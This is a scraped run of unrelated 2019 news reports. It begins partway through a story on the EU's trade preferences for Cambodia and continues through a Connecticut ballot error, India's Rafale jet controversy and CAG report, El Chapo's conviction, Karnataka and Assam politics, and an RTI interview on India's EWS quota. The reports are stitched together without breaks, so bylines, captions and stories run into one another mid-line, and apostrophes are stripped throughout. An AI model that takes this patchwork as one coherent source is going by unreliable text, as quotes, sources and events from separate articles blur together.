And a farmer from Svay Rieng named Lougn Tha noted that while rice prices had dropped recently, he is still unable to find enough buyers for his crop.



If the EBA scheme is ended, he said, his living standards will suffer even more.



Both the Collective Union of Movement of Workers and the Garment Manufacturers Association of Cambodia (GMAC) expressed concern over the EU decision on Tuesday.



Pav Sina, president of the Collective Union of Movement of Workers, told RFA that an end to the EBA would lead to the closure of factories and the loss of jobs for workers in Cambodia, and called on the government to resolve the problem it had caused.



The issue emerged as a result of politics, so the government and politicians must resolve the problem and normalize the situation, he said.



They must restore the situation so that people will have work and see investment.



In a statement, GMAC asked the EU to carefully reconsider its decision, noting that Cambodia exported clothes, shoes and travel goods worth around 3.76 billion Euros (U.S. $4.26 billion) in 2017.



Since 2001, it added, Cambodias garment sector has provided 700,000 jobs to workers from rural areas80 percent of whom are women.



The EBA contributes to poverty reduction in Cambodia, the statement said, adding that an end to the scheme would lead to a loss in trade competition by the countrys factories and a tarnishing of their reputation.



GMAC urges the EU to continue working with Cambodia to find a political resolution.



US weighs in



The U.S. embassy in Cambodia also weighed in on the EUs decision, saying Washington shared the blocs concerns about serious violations of freedom of expression, internationally recognized labor rights, and freedom of association.



It called on Cambodia to restore a true, multi-party democracy in the country, drop charges against Kem Sokha and other political prisoners, and allow trade unions, media groups and civil society to operate without undue restrictions.



Cambodian leaders still have an opportunity to avoid the negative economic consequences of EBA withdrawal, it said.



We urge Cambodian leaders to put the well-being of the country before personal and political interests.



Since Cambodias July 2018 election, which was widely seen as unfree and unfair, the U.S. has announced visa bans on individuals seen as limiting democracy in the country, as part of a series of measures aimed at pressuring Hun Sen to reverse course on a crackdown on the political opposition, NGOs and the independent media.



Reported by RFAs Khmer Service. Translated by Samean Yun. Written in English by Joshua Lipes.Gus Pearcy | The Lebanon ReporterVOTING PLAN: Jim and Barb Kutz look over a vision board to vote for their favorite key objectives. The votes will determine the key objectives on the development of Lebanon and will be included in the city's comprehensive plan, which is getting an overhaul this year.Mayor Curt Leng is starting his own inquiry into Hamden election procedures after Hearst Connecticut Media revealed that voters on a section of Paradise Avenue were issued the wrong ballots in state elections from 2012 to 2018.

Certainly, I would like all eligible persons to be able to exercise their right to vote, Leng said in a written statement Wednesday. I am reviewing these issues with the Towns legal advisers, Registrars Office, and State of Connecticut to determine what, if any, resolutions must occur to ensure all eligible voters are effectively processed and accounted for in Hamden.

For up-to-date information on public policy issues, sign up for the CT Politics newsletter.

Between 2012 and 2018, according voters at about 25 addresses along a one-mile section of Paradise Avenue received ballots in the 11th Senate District, when in fact state maps place their street in the 17th Senate District.

Emails obtained by Hearst Connecticut Media show the Secretary of the States office working out the problem with a local registrar this winter after voters notified a candidate of the error. But the affected voters have yet to be officially notified of the error.

Secretary of the State Denise Merrill said Tuesday she will send a complaint to the State Elections Enforcement Commission regarding the botched ballots, requesting an investigation.

Frank LaDore, chairman of the Hamden Republican Town Committee, said Wednesday he believes Paradise Avenue residents should be notified. He suggested a posted sign in their polling place in the next election. But he said he was not worried about widespread election mistakes in Hamden.

More for you News Election glitch uncovers long-standing error in Hamden

Our goal is to have honest and accurate elections, and now that it has been detected, I am confident that our registrar will make the necessary corrections for elections going forward, LaDore said.

The error was caused by a mistake in the street list created years ago by the Hamden Registrars of Voters office. Poll workers use the street list on Election Day to distribute ballots.

The mistake denied Paradise Avenue voters the opportunity to vote for the candidates who would represent them.

Hamden Republican Registrar Anthony Esposito said the error was corrected, after it was brought to his attention by Secretary of the State officials in mid-January. Leng did not respond to questions about when he first learned of this issue.

Obviously a mistake was made somewhere, said Lou Panzo, chair of the Hamden Democratic Town Committee. You can learn from errors that are made and this is a good example.

Staff Writer Ben Lambert contributed to this report.

emunson@hearstmediact.com; Twitter: @emiliemunson3 1 of 3 Matthew Seath / Contributed Show More Show Less 2 of 3 By John Phelan - commons.wikimedia.org Show More Show Less 3 of 3





LITCHFIELD COUNTY  Sarah Gardella of Torrington, a student at Lasell College in Newton, Mass., had a unique opportunity to match a learning experience  apprenticeship, a practice which dates back to the Middle Ages  with the Rococo Art movement originated in France that spread worldwide in the late 17th and early 18th century, and was remarkable for its ornamental and theatrical style of pastel clothing.

Gardella, a Fashion and Retail Merchandising major, participated in a team-oriented semester long project, learning how to create paper textiles and applying that to her study of historic fashion trends.February 13, 2019 11:53 IST

Stepping up his attack on Prime Minister Narendra Modi over the Rafale issue, Congress president Rahul Gandhi on Wednesday cited a media report to claim that the PMs argument of better pricing and faster delivery of the jets to defend the deal has been demolished.

IMAGE: Congress workers shout slogans during a protest demanding resignations of Prime Minister Narendra Modi and Defence Minister Nirmala Sitharaman over allegations of corruption in Rafale fighter planes. Photograph: Adnan Abidi/Reuters

His attack came after a report in The Hindu which claimed that the Rafale deal was not on better terms than the United Progressive Alliance-era offer.

The PM defended his personal RAFALE bypass deal on 2 counts: 1. Better Price 2. Faster Delivery. Both have been demolished by the revelations in the Hindu today, he tweeted.

The government has in the past rejected all such allegations and claims against the deal.

Three senior Defence Ministry officials who were the domain experts on the seven-member Indian Negotiating Team came to a well-substantiated and clear conclusion that the Narendra Modi governments new Rafale deal for 36 flyaway aircraft was not on better terms than the offer made by Dassault Aviation during the procurement process for 126 aircraft under the United Progressive Alliance government, the report in the English daily said.

Citing the report, Congresss chief spokesperson Randeep Singh Surjewala said the theft has been caught.

Surjewala highlighted four points citing the report -- price of 36 Rafale jets was 55 per cent higher than the UPA-era offer, loss incurred by not taking 25 per cent discount for Rafale as offered by Eurofighter, bank and sovereign guarantee waived, and no aircraft for 10 years with escalation cost to be paid.

The Congress attack came a day after, Gandhi accused the prime minister of treason and violating the Official Secrets Act by acting as Anil Ambanis middleman in the Rafale jet contract, citing an email to claim the businessman was aware of the deal days before India and France finalised it.

The Bharatiya Janata Party, however, had rejected the charge, saying the email purportedly by an Airbus executive referred to a helicopter deal and not Rafale.

Reliance Defence, in a statement, also refuted Gandhis allegation saying the proposed MoU mentioned in the email referred to its cooperation with Airbus Helicopter.February 14, 2019 01:20 IST

Breaking his silence, the chairman of the Indian Negotiating Team in the 36 Rafale deal Air Marshal R K S Bhadauria on Wednesday said three members of his team had raised certain objection points which were 'not dissent' as these were 'suitably included and addressed' in his final report.

Air Marshal Bhaduria told ANI that the observations by the three members were part of the deliberations of the INT and could not be viewed as a 'dissent note' as stated in a newspaper report on Wednesday.

"These observations from three members were given to me as the INT chairman. This was not a dissent note.

"All the issues brought out were discussed earlier also since these points were brought up during discussions within INT and taken up in external negotiations," Air Marshal Bhadauria said while commenting on a media report which suggested that three members had submitted an eight-page 'dissent note'.

This is the first time that Bhadauria has spoken out on the terms of the Rafale deal since the Congress and other opposition parties have started raising questions on various facets of the multi billion dollar Rafale deal.

Air Marshal Bhadauria explained that the points raised by the three members were earlier also discussed by them and later on 'these observations were put in writing by these members'.

"All the issues were suitably included in the INT Report and also addressed in the forwarding note by me as the chairman of the INT. It must be understood that the INT Report was without any dissent note."

He said 'these observations must be seen as part of deliberations of INT which were taken into account before the report was finalised and forwarded'.

Asked about the observations of the Ministry of Law and Justice that there was no sovereign guarantee from the French side in the Rafale deal, Air Marshal Bhadauria said the 'final formulation of the Inter-Governmental Agreement (IGA) was approved by the Law Ministry'.

Air Marshal Bhadauria was the chairman of the Indian Negotiation Team for the 36 Rafale aircraft contract from December 2015 till September 2016 when the contract was signed with France for acquiring 36 Rafale fighter jets.

He had taken over the chairmanship from Air Marshal S B P Sinha, who headed the negotiations team before he got promoted and was posted as the Central Air Commander in Allahabad.

From December 2015, Air Marshal Bhadauria came in as the Deputy Chief of Air Staff in air Headquarters and was appointed as the chairman of the INT.

Significantly, the first Rafale aircraft to be delivered to India, likely in September this year, will have 'RB-008' inscribed on its tail as a mark of tribute to Air Marshal Bhaduria for successful negotiations of the deal.

At present, Air Marshal Bhadauria is the commander of the Indian Air Forces Training Command in Bengaluru looking after all the Training establishments of the force.Source:

February 13, 2019 17:57 IST

The Comptroller and Auditor General, in its report on the Rafale fighter jet deal with France, has highlighted the drawbacks of settling for a 'Letter of Comfort' rather than a sovereign guarantee by the French government.

The report, tabled in Parliament on Wednesday, noted that the 2007 United Progressive Alliance deal included a 15 per cent bank guarantee against advance payments.

Highlighting its concerns, the CAG observed that in case of a breach of agreement, India would now have to first settle the matter through arbitration directly with the French vendors.

If the arbitration award goes in favour of India and Dassault Aviation, the makers of the Rafale jet, fails to honour it, India will have to exhaust all available legal remedies, it said.

Only after that will the French government make the payments on behalf of Dassault Aviation, it added.

India for the first time signed an Intergovernmental Agreement (IGA) with France to procure 36 Rafale fighter jets. It has earlier signed similar IGAs with the United States, the United Kingdom and Russia.

"In case of IGA for 36 Rafale, the offer of M/s DA (Dassault Aviation) in 2007 had included 15 per cent Bank Guarantee against advance payments, 5 per cent each for Performance Guarantee and Warranty. A Bank Guarantee gets directly and automatically invoked in case of breach of contract by the seller," the CAG said.

In the 2015 offer with the present government, the French vendor did not furnish any financial and performance bank guarantees, the report stated.

Since about 60 per cent of advance payments were to be made to the French vendors, the Ministry of Law and Justice advised that a government/sovereign guarantee should be requested in view of the value of the proposed procurement, the report said.

However, the French government and Dassault Aviation neither agreed to furnish the bank guarantees nor a government/sovereign guarantee, it stated.

"Instead it provided a 'Letter of Comfort' signed by the French Prime Minister in lieu of the Bank Guarantee," the report said.

The issue on sovereign guarantee and 'Letter of Comfort' was submitted to the Cabinet Committee on Security in September 2016 for consideration.

The CCS gave its acceptance along with other associated guarantees/assurances provided in the IGA in lieu of bank guarantee subject to payments through an escrow account or any other safeguards which the ministry was to work out in consultation with the French Government with the assurance by the French Government that they shall provide effective oversight on the utilization of payments released to the French Industrial suppliers, the CAG report noted.

The French government, the report said, did not agree to an escrow account as it felt the guarantees already provided by it were far reaching and unprecedented.

"In case of any breach of agreement Indian party (Ministry) would have to first settle it through Arbitration directly with the French vendors.

If the Arbitration award were in favour of Indian party and the French vendor fails to honour the award (make the payment's claim), Indian party should exhaust all available legal remedies.

Only then the French Government would make these payments on behalf of the vendors," the report said.

The CAG report comes at a time the government has been facing attacks by the Congress over settling for a 'letter of comfort' instead of a 'sovereign guarantee'.Source:

February 13, 2019 08:11 IST

Joaquin El Chapo Guzman Loera, the Mexican drug kingpin who minted millions as the head of the infamous Sinaloa cartel for several years, was found guilty on all 10 criminal counts against him by a United States federal court on Tuesday.

IMAGE: Mexico's top drug lord Joaquin "El Chapo" Guzman faces a mandatory sentence of life imprisonment. He is is slated to formally sentenced on June 25. Photograph: Drug Enforcement Administration/Reuters

During the trial that went on for 11 weeks, Guzman was convicted on numerous counts including money laundering, engaging in a continuing criminal enterprise, distribution of heroin and cocaine and other drugs, and illegal arms possession.

Although, the 61-year-old Mexican drug lord has not been sentenced, he faces a mandatory sentence of life imprisonment. He is slated to be formally sentenced on June 25, CNN reported.

As US District Judge Brian Cogan read out the verdict and confirmed the same with 12 people -- eight women and four men on the jury, Guzman remained normal and there was no visible emotional reaction from the Mexican drug lord.

His wife, Emma Coronel, a 29-year-old former beauty queen was also present at the court.

IMAGE: Emma Coronel Aispuro, the wife of Joaquin Guzman, departs after the trial of Mexican drug lord Guzman, known as "El Chapo", at the Brooklyn Federal Courthouse, in New York. Photograph: Brendan McDermid/Reuters

US Attorney for Eastern District of New York Richard Donoghue said that the case was a victory for the people of America and Mexico, who had lost their loved ones in drug wars.

El Chapo (meaning shorty), who was once listed on Forbes list with an estimated worth of $1 billion (Rs 7,058 crore), is accused of helping to export hundreds of tonnes of cocaine into the US and of conspiring to manufacture and distribute heroin, marijuana and other drugs.

Under Guzman, the Sinaloa cartel smuggled hundreds of tonnes of narcotics to wholesale distributors in Arizona, Atlanta, Chicago, Los Angeles, Miami and New York.

He was believed to have used hitmen to carry out murders, kidnappings and assaults on international political leaders and rivals.

Guzman first escaped from a Mexican jail in 2001 in a laundry cart and repeated the same again in 2015, this time through a tunnel. After a year on the run, the Mexican drug kingpin was recaptured.

He was extradited to the US in 2017 to face American federal charges.February 13, 2019 10:08 IST

The Narendra Modi governments Rafale deal for 36 fighter aircraft was not on better terms than the offer made by Dassault Aviation to the erstwhile United Progressive Alliance government for the procurement of 126 aircraft, The Hindu reported on Wednesday quoting a dissent note by three senior defence ministry officials.

In an exclusive, The Hindu (external link) has reported that three senior defence ministry officials who were the domain experts on the seven-member Indian Negotiating Team said that the delivery schedule of even the first 18 of the 36 flyaway Rafale aircraft in the new deal was slower than the one offered for the 18 flyaway aircraft in the original procurement process.

The findings in the report published by the national daily are contrary to the government's claims of the deal being cheaper and of having a faster delivery period. The Centre had even affirmed these claims before the Supreme Court in its official submissions.

The three domain experts on the INT were M P Singh, adviser (cost), a joint secretary-level officer from the Indian Cost Accounts Service; A R Sule, financial manager (air); and Rajeev Verma, joint secretary & acquisitions manager (air).

They recorded their views in a strong note of dissent (which has been published by the paper), dated June 1, 2016, submitted at the end of the negotiations, to the Deputy Chief of Air Staff in his capacity as chairman of the negotiating team.

The officials also registered serious concern over the governments acceptance of a Letter of Comfort in lieu of a sovereign guarantee, legal issues relating to the IGA, offset issues, and Dassault Aviations restrictive trade practices, the report added.

Wednesdays report in The Hindu comes after previous reports which stated that the Modi-led government waived off critical provisions for anti-corruption penalties as well as overruled financial advisers recommendations for making payments through an escrow account just days before it signed the inter-governmental agreement with France to acquire 36 Rafale jets.

Before that the newspaper published another report on February 8 about the defence ministrys objections to parallel negotiations conducted by the Prime Ministers Office.Source:

February 13, 2019 23:47 IST

IMAGE: Karnataka minister D K Shivakumar and Chief Minister H D Kumaraswamy interact as Deputy CM G Parameshwara looks on during the budget session at Vidhan Soudha, in Bengaluru, on Friday. Photograph: Shailendra Bhojak/PTI Photo

Four disgruntled Congress MLAs, who had gone missing for several weeks amid political turmoil in Karnataka, surfaced in Bengaluru on Wednesday two days after the party recommended their disqualification to the state assembly Speaker.

The lawmakers had kept the party on tenterhooks for several weeks, defying its whip twice to attend the Congress Legislative Party (CLP) meetings on January 18 and February 8 and had been skipping the ongoing assembly Budget Session since February 6.

Ramesh Jarkiholi, Umesh Jadhav, B Nagendra and Mahesh Kumathali, who were reported to be in touch with the Bharatiya Janata Party,which has been accused of trying to poach the MLAs to bring down the Janata Dal (Secular)-Congress government, also attended the assembly session Wednesday, giving some relief to the ruling coalition.

The MLAs were upset ever since the cabinet reshuffle and expansion on December 22 that saw removal of Jarkiholi.

Jarkiholi denied that he indulged in anti-party activities or even challenged the party high command.

"There is no denying the fact that I was upset, but I neither indulged in anti-party activities nor challenged our party high command.

"I was in Mumbai for my daughter's marriage that is to take place on February 24. I was meeting my relatives and in the evening I will be going to Mumbai again," Jarkiholi said.

Asked for his response to CLP leader Siddaramaiah's petition to the Speaker to disqualify him, he said they were free to do so.

"Let's see. I had told you before too that I am always ready to resign. If they want to disqualify me, let them do it. I am all alone," Jarkiholi said.

To a question whether he had been in touch with the BJP leaders when he went incommunicado for one-and-half months, he said the BJP leaders were not his enemies, but friends and his differences were restricted only to their ideology.

"I have many friends in the BJP. We politicians are not enemies, but friends. Our differences are limited to party ideologies. On other issues, we are all friends.

"Me and Umesh Katti (BJP MLA) will go together (to Mumbai) in the evening," Jarkiholi said.

The disgruntled Congress MLA said he has come to attend the assembly session and discuss the problems facing them.

He added that he would speak to the party high command and take further steps.

Nagendra too agreed with Jarkiholi that they were upset.

"All the four of us are together. It is quite natural that we were upset," Nagendra told reporters.

Jadhav said he did not come to Bengaluru 'out of fear', but to ensure that the finance bill was passed.

"It is my duty to get the budget passed. Hence, I came here," Jadhav said.

The Congress had petitioned assembly Speaker K R Ramesh Kumar on Monday, seeking action against the four MLAs after warning them to mend their ways and fall in line.

The four lawmakers skipped the CLP meeting on January 18,which was meant to be a show of strength in the backdrop of BJP's alleged bid to topple the coalition government, and another CLP meet Friday last, despite a whip.

The MLAs were earlier given notices, seeking an explanation for their conduct.

Another Congress MLA J N Ganesh, who was reportedly on the BJP's radar for desertion, is absconding ever since he allegedly assaulted fellow lawmaker Anand Singh during a brawl at a resort recently.Source:

February 13, 2019 23:26 IST

IMAGE: Activists of All Assam Students Union burn fire-crackers as they celebrate after the Citizenship Amendment Bill could not be passed in the Rajya Sabha, in Dibrugarh, on Wednesday. Photograph: PTI Photo

A wave of jubilation swept through Assam and other northeastern states, in ferment for the last few weeks, after the hugely divisive Citizenship Bill could not be tabled in the Rajya Sabha and was destined to die a natural death with the expiry of the term of the current Lok Sabha on June 3.

Celebrations erupted across Assam with opponents of the bill bursting crackers, distributing sweets and breaking into frenzied dancing on the streets.

Leaders of the Asom Gana Parishad, All Assam Students Union, Krishak Mukti Sangram Samiti, Asom Jatiyatabadi Yuba Chatra Parishad -- all antagonists of the Citizenship (amendment) Bill, 2019, claimed the Centre's failure to pass the legislation in the Rajya Sabha was a victory of democracy and of the people of Assam and the northeast over communal forces.

"Narendra Modi, Amit Shah, Sarbananda Sonowal, Himanta Biswa Sarma hai, hai," they chanted, as fireworks reverberated in cities, towns and villages of Assam.

The Bharatiya Janata Party, which stood isolated on the issue, with even its alliance partners in the northeast raising a banner of revolt, however, put up a brave and belligerent face, with Assam minister Himanta Biswa Sarma calling the development a defeat for Assam, and declaring his party will contest the Lok Sabha elections with commitment to the bill.

Sarma, who heads the North-East Democratic Alliance, the National Democratic Alliances version in the region, also declared the alliance will bring the bill once again after winning the Lok Sabha elections with a majority.

The contentious Citizenship (amendment) Bill provided for according Indian citizenship to Hindus, Jains, Christians, Sikhs, Buddhists and Parsis from Bangladesh, Pakistan and Afghanistan after six years of residence in India instead of 11 years, which is the norm currently, even if they do not possess any document.

It was passed by the Lok Sabha during the Winter Session on January 8 and was awaiting the Rajya Sabha's approval.

Bills introduced in the Rajya Sabha and pending there do not lapse with the dissolution of the Lok Sabha.

However, a legislation introduced in the Lok Sabha but awaiting clearance of the Rajya Sabha expires at the end of the term of the Lower House.

As the news of the inevitable expiry of the bill reached Manipur, curfew was lifted in state capital Imphal.

The restive states capital city was under curfew since Tuesday, but furious protesters were on the streets overnight, clashing with police.

Curfew was lifted on Wednesday afternoon following improvement in the law and order situation, District Magistrate of Imphal West Naorem Praveen Singh said.

Mobile internet services will, however, continue to remain suspended for some more time.

Chief Minister N Biren Singh thanked Prime Minister Narendra Modi, BJP chief Amit Shah, and Union Home Minister Rajnath Singh for not tabling the bill in the Rajya Sabha and opting for consensus.

On behalf of the people of Northeast & in particular Manipur, I would like to profusely thank Honble PM @narendramodi ji, BJP Pres @amitshah ji and HM @rajnathsingh ji for not tabling the CAB and opting for consensus driven approach. We deeply appreciate ur affection for NE! (sic) Singh tweeted.

Student outfits, socio-cultural organisations and political parties were up in arms against the Centre, claiming granting citizenship to non-Muslims who came to India up to December 31, 2014, would violate the Assam Accord.

Under the accord signed in 1985, all illegal immigrants who came after 1971, irrespective of their religion, were to be deported.

Two BJP chief ministers of the northeast -- Arunachal Pradesh's Pema Khandu and Manipur's Biren Singh -- had also opposed the bill, which the prime minister called an atonement for the wrong that was done during Partition.

Meghalaya Chief Minister Conrad Sangma of the National People's Party, a BJP ally who had threatened to pull out of the NDA if the bill was passed in the Rajya Sabha, called it a great moment for the people of the northeast.

Sangma had marshalled parties of the region to launch a concerted protest against the legislation.

Prafulla Kumar Mahanta, a former Assam chief minister who spearheaded the students' agitation that resulted in the signing of the Assam accord, warned the Centre against taking the ordinance route to impose the new citizenship law.

"The government of India must take note of it and not impose the bill by bringing an ordinance. Like the government has weapons, the public also has other alternatives," the AGP leader said.

His party had walked out of the NDA over the controversial legislation.

Another former chief minister of Assam, Tarun Gogoi of the Congress, branded the development a victory of democracy, of the people of the northeastern region and Assam.

"The BJP wanted to destroy the existence, language, culture and heritage of the indigenous people of Assam and the northeast region," he said, insisting the bill violated the Indian Constitution.

"They were hoping to get votes in the name of Hindutva. That has been defeated," he said.

Himanta Biswa Sarma, however, was typically combative on the issue.

"The BJP is committed and will forever be committed to the bill. I fully support the bill. BJP will fight (the elections) with this commitment. There is nothing to hide about it," he said.

Sarma, who had once controversially warned that 17 assembly seats of Assam will go the Jinnah way if the bill was not passed, said, Who will save the (Assamese) community?

"If we do not have the bill, entire Assam will be ruled by Bangladeshi Muslims in 2021. Then Assam's civilisation, culture and language will be finished forever."Source:

Last updated on: February 14, 2019 01:47 IST

Samajwadi Party patriarch Mulayam Singh Yadav on Wednesday created a flutter in the Lok Sabha when he said he wished to see Narendra Modi back as prime minister, a sentiment acknowledged by the Bharatiya Janata Party leader with folded hands.

The blessings for Modi by Yadav that left opposition members squirming come at a time when his son Akhilesh Yadav has joined hands with arch rival Mayawati of the Bahujan Samaj Party to challenge BJP in the politically crucial state of Uttar Pradesh in the upcoming Lok Sabha polls.

UP accounts for 80 of the 545 Lok Sabha seats.

"I wish that all members come back to the House," Yadav said during the last sitting of the 16th Lok Sabha.

And pointing to Modi, Mulayam said he wishes that the BJP leader comes back as the prime minister, remarks that drew applause from the treasury benches.

"I wish pradhan mantriji becomes pradhan mantri again," said Yadav, with United Progressive Alliance chairperson and Congress leader Sonia Gandhi by his side.

Gandhi appeared flustered with Yadav's remark.

The ruling National Democratic Alliance members lustily cheered Yadav with chants of Jai Shri Ram as he praised Modi for making efforts to take everyone along.

"I congratulate him (Modi) for making efforts to take everyone along," Yadav said, adding the prime minister has done good work.

Modi acknowledged the SP patriarch's praise with folded hands and later made a mention of Yadav's blessings when he took the floor to deliver his speech.

There is much to do. And Mulayam Singhji has given his blessings. I am very grateful to him."

Mulayam later ducked questions on his praise for Modi when he was mobbed by reporters while leaving the Lok Sabha.February 13, 2019 09:24 IST

Officers responsible for preparing budgets say their detailed costing projections are mostly ignored.

The defence ministry simply takes the previous year's budgetary allocations for each service and adds a small percentage to those.

Ajai Shukla reports.

IMAGE: The Akash missile system moves past the saluting dais during the 70th Republic Day parade at Rajpath, January 26, 2019. Photograph: Kamal Kishore/PTI Photo

The defence budget, which the Union government presented on February 1, underlines that each of the three services remains locked in its own expenditure pattern.

The army, which most requires modernisation, continues allocating well over two-thirds of its budget to salaries and pensions, leaving just a little over one-tenth for new equipment.

The navy manages manpower best, spending just over a quarter of its overall budget on personnel costs.

Despite having the lowest capital allocation, it will still spend a healthy 45% of its budget next year on new warships and equipment.

The air force spends the largest percentage about half its budget, on modernisation and the purchase of new equipment.

That is partly because it has by far the largest capital budget of all three services -- Rs 39,303 crore (Rs 393.03 billion) -- compared to the army's Rs 31,815 crore (Rs 318.15 billion) and the navy's Rs 25,541 crore (Rs 255.41 billion) (including coast guard allocations).

None of these expenditure patterns has changed over the last decade.

Officers responsible for preparing budgets say their detailed costing projections are mostly ignored.

Instead, the defence ministry simply takes the previous year's budgetary allocations for each service and adds a small percentage to those.

For that reason, budget allocations barely diverge from a simple formula: Give the army 60%, the air force 24% and the remaining 16% to the navy.

These are the figures that have solidified after the implementation of One Rank, One Pension effectively doubled the pension bill, and the 7th Central Pay Commission recommended across-the-board salary increase.

The army, already hamstrung by untenable personnel costs, took the biggest hit from these.

The army hierarchy is only now coming to terms with the realisation that it will have to prune numbers to have a substantial sum left for rifles, personal protective gear, man-portable missiles and artillery guns that it badly needs.

For decades, it has justified its large size by stating that 'boots on the ground' are essential for manning the sprawling mountain borders with China and Pakistan.

Parliament's standing committee on Defence has recommended revamping personnel policy, as have successive committees in recent years, including the Naresh Chandra Task Force and the D B Shekatkar Committee.

Only now has army chief General Bipin Rawat ordered a sweeping reorganisation that could see a major reduction in the army's 'tooth to tail ratio', including an unprecedented reorganisation and pruning of army headquarters.

In addition, there could be a shift to shorter service tenures for soldiers, which would reduce the government's pension liability and greater promotion mobility for officers.Source:

February 13, 2019 22:34 IST

Fourteen Aligarh Muslim University students, including their union chief, were booked under sedition charges after protests on the campus following reports of a planned visit by All India Majlis-e-Ittehadul Muslimeen lawmaker Asaduddin Owaisi, officials said on Wednesday.

On Tuesday, some AMU students allegedly had an altercation with a TV channel crew which had come to film the visit that ultimately did not take place, they said.

The Bharatiya Janata Yuva Morcha members held a separate demonstration against the visit, demanding that the MP should be banned from the campus.

The students were booked under sedition charges after a complaint was filed by BJYM member Mukesh Lodhi, alleging that he was assaulted amid chants of pro-Pakistan slogans by some students, police said.

Protesting the police action, a 'class boycott' call has been given by the students' union.

Security has also been beefed in the area and Rapid Action Force has been deployed around the campus amid other protests, including one in which a motorcycle belonging to an BJYM member was set on fire, a senior police officer said.

The main approach road leading to the university campus at IG Khan Crossing was closed by police as a precautionary measure.

Official sources said internet services will also be off in city.

Akhil Bharatiya Vidyarthi Parishad members staged a protest near the Faiz Gate of the university after some media reports claimed that Owaisi was invited to address a function organised by the AMU Students' Union.

They demanded that he be not allowed to enter the campus. Owaisi, however, did not turn up.

An AMU spokesman said a TV channel team, which had come to cover the anticipated event, had an altercation with some students while they were filming inside the campus.

The spokesman said the channel had not sought permission from authorities for live coverage and when the university staff pointed this out, there was a heated exchange in which some students were also involved.

The media persons claimed they were roughed up by some students while they were filming on the campus and their camera was smashed.

Complaints were lodged at the Civil Lines Police Station by both the AMU authorities and the TV channel crew.

A complaint was also filed by BJYM members which alleged that they were beaten up near the Faiz Gate and a motorcycle, belonging to one of them, was set on fire.

It was not immediately clear if this incident was also related to Owaisi's visit.

Senior Superintendent of Police Akash Kulhari told PTI that a number of complaints were given by different groups at the Civil Lines police station and the police were in the process of filing the reports.

Meanwhile, a large group of students gathered at Bab-e-Syed Gate, demanding the suspension of Ajay Singh, a prominent ABVP leader who is a postgraduate student in the Faculty of Law.

He is the grandson of Bharatiya Janata Party MLA Dalvir Singh.

Late on Tuesday night, cases under Section 124-A (sedition), Section 307 (attempt to murder) and eight other sections of the Indian Penal Code were registered against 14 students, including the president of students' union Salman Imtiaz and vice president Huzaifa Aamir on the complaint of BJYM's Mukesh Lodhi.

He alleged that when he was driving across the AMU Circle, these students surrounded him and launched a 'murderous assault' and raised pro-Pakistan slogans.

Meanwhile, police confirmed that two more complaints were received at Civil Lines police station on behalf of AMU students and AMU officials.

An official said these reports were being examined and first information reports will be filed 'after due investigation'.

AMU has issued an advisory to students, asking them 'not to move out of campus as a precautionary measure'.February 13, 2019 09:54 IST

'What we have is the bill and the Act passed by Parliament.'

'And then there is a criterion of exclusion as to who will not be covered in EWS.'

'Beyond that, we have no clue where this idea came from.'

'And most importantly, why is it 10% reservation, and say why not 15% or 20%?'

The government has refused to disclose details of the decision-making process in allowing 10% reservation in jobs and educational institutions to economically weak sections in the general category.

A Right to Information application had sought details like the copy of the Cabinet note on the matter as well as correspondence from the prime minister's office.

It was filed by Venkatesh Nayak, coordinator of the Access to Information Programme with the NGO, Commonwealth Human Rights Initiative.

Replying to Nayak's query, the ministry of social justice and empowerment said it would be unable to provide the information as it was exempted under Section 8 (1) (i) of the Right to Information Act.

The section prohibits disclosure of 'Cabinet papers including records of deliberations of the council of ministers, secretaries and other officers'.

The government has implemented the 10% reservation for economically weaker sections of the general category in central government posts and services from February 1, 2019. The Supreme Court on February 8 declined to stay the Centre's decision.

"We are not questioning the government's motives; we just want to know how this EWS quota will be rolled out," Nayak tells Syed Firdaus Ashraf/Rediff.com.

Could you shed some light on the RTI plea that you filed and the reason behind filing it?

First off, before this Economic Weaker Section bill was presented in Parliament, the Cabinet had given an approval to a proposal of providing 10% quota, which happened on January 7.

This means that the concerned ministry must have put up a Cabinet note on this proposal before some study after which this was proposed in Parliament.

Right now, what we have is the bill and the Act passed by Parliament. And then there is a criterion of exclusion as to who will not be covered in EWS.

Beyond that, we have no clue where this idea came from. And most importantly, why is it 10% reservation, and say why not 15% or 20%?

I was hoping all these aspects would be there in the Cabinet note as on that basis the Cabinet would have made a rational decision to table the bill in Parliament.

It was basically that information I was seeking and also the fact that whether there was any direction or guidance that came from the prime minister's office as media reports said this idea of EWS reservation came from the PMO.

Although there is no official press release on that, the RTI Act says once such decisions are taken, then Cabinet papers and materials have to be made public.

What answer did you get when you filed the RTI plea?

The answer I got was that these are Cabinet papers and it cannot be disclosed.

If the government won't provide information proactively, it should at least make it available on request; but both were not done.

What prompted you to file this RTI plea?

There is such little information in the public domain about the whole process of reservations for the economically weaker section.

Generally, when such a bill is presented in Parliament which affects a large number of the population, then there has to be comfortable pre-legislative consultation process so that Parliament is informed about what the people are thinking.

And most importantly, the issue is: Is 10% reservation enough? I am not saying it is enough.

The question is, how did the government arrive at this 10% reservation? Where did it come from?

Now if you see 15% reservation for schedule castes and then 8.5% for schedule tribes is based on the size of their population.

The same is the case for 27% reservation for the OBCs (Other Backward Classes).

If I am not mistaken, OBCs constitute 52% of India's population. So they got less reservation than their numbers merit, isn't it?

It differs from state to state. Also, there is a limit that you cannot go beyond -- 50%.

So this logic is understandable and in the Indra Sawhney case, the Supreme Court said you cannot have reservations beyond 50%.

Now the government is saying look, the Article 16 (4) limit is only for scheduled castes, scheduled tribes and OBCs. The government says this does not apply to EWS quota and therefore they are giving additional 10% which is more than the 50% reservation limit set by the Supreme Court.

That is fair, but how did they decide the adequacy point of 10%?

Has reservation been given to any caste or community without any proper study or commissions going into it? Maybe the government has conducted some kind of population study and did not want to disclose it.

That is the reason I did not want to speculate. My third query was specifically on any study or commission report through which they agreed on the 10% reservations.

I wanted to know on what basis did they arrive at this figure. There was some reference to the Sinha Committee report in Parliament which Mr Ravi Shankar Prasad mentioned in the Rajya Sabha.

So which report is this? What does it say? When was it published? Let us know.

Can't a ruling party grant 10% quota to EWS? Doesn't the Constitution give them that right?

They amended the Constitution to bring in 10% quota. Since our country runs democratically and runs on the Constitution, it means that there is rule of law. It means that no arbitrary decision can be taken.

So our assumption is that the government has not taken an arbitrary decision as it is a Constitutionally elected government. Still, we want to know what is the basis of the decision for the 10% EWS reservations.

Don't you think upper caste poor Hindus need reservation?

I am not questioning the rationale at all, absolutely not. Who am I to question the rationale when Parliament has duly enacted this law; of course, people have challenged this decision in court.

I am not one of the petitioners for that, but what I am saying is that since we have the RTI law, we have the right to know the reason.

